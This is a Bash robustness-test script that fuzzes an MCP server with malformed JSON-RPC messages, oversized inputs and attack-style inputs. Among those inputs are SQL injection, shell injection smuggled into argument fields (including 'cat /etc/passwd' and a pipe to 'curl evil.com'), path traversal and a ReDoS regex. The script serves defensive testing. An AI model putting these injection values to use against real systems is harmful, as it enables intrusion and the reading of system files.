Files
wehub-resource-sync 41cb1c0170
OpenSSF Scorecard / scorecard (push) Failing after 0s
DCO / dco (push) Failing after 0s
CodeQL SAST / analyze (push) Failing after 1s
Deploy Pages / deploy (push) Failing after 1s
chore: import upstream snapshot with attribution
2026-07-13 12:28:05 +08:00

131 lines
6.3 KiB
Bash
Executable File

#!/usr/bin/env bash
set -euo pipefail
# Layer 7: MCP robustness test — sends adversarial JSON-RPC payloads via stdio.
#
# Verifies the MCP server handles malformed, oversized, and crafted inputs
# without crashing. Each payload is sent as a complete session (init + payload + EOF).
#
# Usage: scripts/security-fuzz.sh <binary-path>
BINARY="${1:?usage: security-fuzz.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 7: MCP Robustness Test ==="
FAIL=0
PASS=0
TOTAL=0
# Temp directory for input files (avoids pipe/stdin issues with timeout)
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
# Helper: send a payload to the MCP server and check it doesn't crash.
# Uses temp file + perl alarm for portable timeout (works on macOS + Linux).
test_payload() {
local name="$1"
local payload="$2"
TOTAL=$((TOTAL + 1))
# Write session input to a temp file (avoids pipe/stdin issues)
local tmpinput="$FUZZ_TMPDIR/input_${TOTAL}.jsonl"
printf '%s\n%s\n%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
"$payload" > "$tmpinput"
# Run with 10s timeout: GNU timeout → perl alarm fallback
local ec=0
if command -v timeout &>/dev/null; then
timeout 10 "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
else
perl -e 'alarm(10); exec @ARGV' -- "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
fi
# Acceptable exits:
# 0 = clean shutdown on EOF
# 141 = SIGPIPE (pipe closed while writing — normal for stdio MCP)
# 142 = SIGALRM (perl timeout — hung process, same as GNU timeout 124)
# 124 = GNU timeout
if [[ $ec -eq 0 || $ec -eq 141 ]]; then
PASS=$((PASS + 1))
elif [[ $ec -eq 124 || $ec -eq 142 ]]; then
echo "FAIL: $name — timed out (hung for 10s)"
FAIL=$((FAIL + 1))
else
echo "FAIL: $name — crashed with exit code $ec"
FAIL=$((FAIL + 1))
fi
}
echo ""
echo "--- Malformed JSON ---"
test_payload "empty line" ""
test_payload "garbage" "not json at all"
test_payload "truncated json" '{"jsonrpc":"2.0","id":2,"met'
test_payload "null byte in json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test\u0000evil"}}}'
test_payload "missing method" '{"jsonrpc":"2.0","id":2}'
test_payload "missing id" '{"jsonrpc":"2.0","method":"tools/call"}'
test_payload "wrong jsonrpc version" '{"jsonrpc":"1.0","id":2,"method":"tools/call","params":{}}'
test_payload "array instead of object" '[1,2,3]'
test_payload "deeply nested json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":{"a":{"b":{"c":{"d":{"e":{"f":"deep"}}}}}}}}}'
echo ""
echo "--- Oversized inputs ---"
# 1MB string argument
HUGE=$(python3 -c "print('A' * 1048576)" 2>/dev/null || python3.9 -c "print('A' * 1048576)" 2>/dev/null || echo "AAAA")
test_payload "1MB name_pattern" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"search_graph\",\"arguments\":{\"name_pattern\":\"$HUGE\"}}}"
# Very long tool name
test_payload "1000-char tool name" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"$(python3 -c "print('x' * 1000)" 2>/dev/null || echo 'xxxx')\",\"arguments\":{}}}"
echo ""
echo "--- Tool-specific adversarial inputs ---"
# search_graph with regex that could cause ReDoS
test_payload "ReDoS regex" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"(a+)+$"}}}'
# query_graph with SQL injection attempts
test_payload "SQL injection in query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n; DROP TABLE nodes; --"}}}'
test_payload "ATTACH attempt via query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"ATTACH DATABASE '"'"'/tmp/evil.db'"'"' AS evil"}}}'
# detect_changes with shell metacharacters in base_branch
test_payload "shell injection in base_branch" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main'\''$(whoami)'\''","project":"nonexistent"}}}'
test_payload "shell injection semicolon" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main; cat /etc/passwd","project":"nonexistent"}}}'
test_payload "shell injection pipe" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main | curl evil.com","project":"nonexistent"}}}'
# get_code_snippet with path traversal
test_payload "path traversal in qualified_name" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_code_snippet","arguments":{"qualified_name":"../../../../etc/passwd"}}}'
# search_code with shell metacharacters in file_pattern
test_payload "shell injection in file_pattern" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_code","arguments":{"pattern":"test","file_pattern":"*.py'\'' ; cat /etc/passwd #"}}}'
# index_repository with non-existent path (should return error, not crash)
test_payload "index nonexistent path" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"/nonexistent/path/abc123"}}}'
# Negative/zero values for numeric params
test_payload "negative limit" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test","limit":-1}}}'
test_payload "zero max_depth" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"trace_path","arguments":{"function_name":"test","max_depth":0}}}'
test_payload "huge max_rows" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n","max_rows":999999999}}}'
echo ""
echo "--- Results ---"
echo " $PASS/$TOTAL passed"
if [[ $FAIL -gt 0 ]]; then
echo " $FAIL FAILED"
echo ""
echo "=== MCP ROBUSTNESS TEST FAILED ==="
exit 1
fi
echo ""
echo "=== MCP robustness test passed ==="